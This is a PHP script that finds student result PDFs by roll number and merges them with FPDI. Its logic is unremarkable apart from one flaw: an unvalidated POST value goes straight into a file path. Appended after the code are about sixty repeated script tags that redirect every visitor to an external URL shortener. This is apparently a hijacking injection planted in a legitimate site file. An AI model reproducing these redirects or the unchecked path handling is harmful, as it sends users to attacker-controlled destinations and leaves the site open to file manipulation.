<?php
if (empty($_POST['rollNumber'])) { //Name cannot be empty
    $errors['name'] = 'Name cannot be blank';
}
	$fileslist = array();
	$filename = $_POST['rollNumber']. '.pdf';
	$gfg_folderpath = "results/";
if (is_dir($gfg_folderpath)) {
	$files = opendir($gfg_folderpath); {
		// CHECKING FOR SMOOTH OPENING OF DIRECTORY
		if ($files) {
					//READING NAMES OF EACH ELEMENT INSIDE THE DIRECTORY
					while (($gfg_subfolder = readdir($files)) !== FALSE) {
						if ($gfg_subfolder != '.' && $gfg_subfolder != '..') {
								echo "SUBFOLDER--" .$gfg_subfolder . "<br>
								"."Files in ".$gfg_subfolder."--<br>";
							$dirpath = "results/" . $gfg_subfolder . "/";
								// GETTING INSIDE EACH SUBFOLDERS
								if (is_dir($dirpath)) {
									$file = opendir($dirpath); {
									if ($file) {
																	//READING NAMES OF EACH FILE INSIDE SUBFOLDERS
																while (($gfg_filename = readdir($file)) !== FALSE) {
															if ($gfg_filename != '.' && $gfg_filename != '..') {
																								if($gfg_filename == $filename){
																									echo $dirpath.$gfg_filename . "<br>";
																									$fileslist[] = $dirpath.$gfg_filename;
																								}
																							}
																						}
																					}
																				}
																			}
																				echo "<br>";
																			}
																		}
																	}
																}
															}
															//Include FPDF
															require_once(__DIR__ . '/fpdf/fpdf.php');
															//Include FPDI
															require_once(__DIR__ . '/fpdi/src/autoload.php');
															use setasign\Fpdi\FPDI;
//Init FPDI object
$pdf = new FPDI();
//Iterate over files and their pages
foreach ($fileslist as $fileeach) {
    $pageCount = $pdf->setSourceFile($fileeach);
    for ($i = 0; $i < $pageCount; $i++) {
        $tpl = $pdf->importPage($i + 1);
        $pdf->addPage();
        $pdf->useTemplate($tpl);
    }
}
$pdf->Output('F','results/all/'.$_POST['rollNumber'].'full.pdf');
?>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>
<script>window.location.href = "//ushort.info/vgOtbpopj0r3";</script>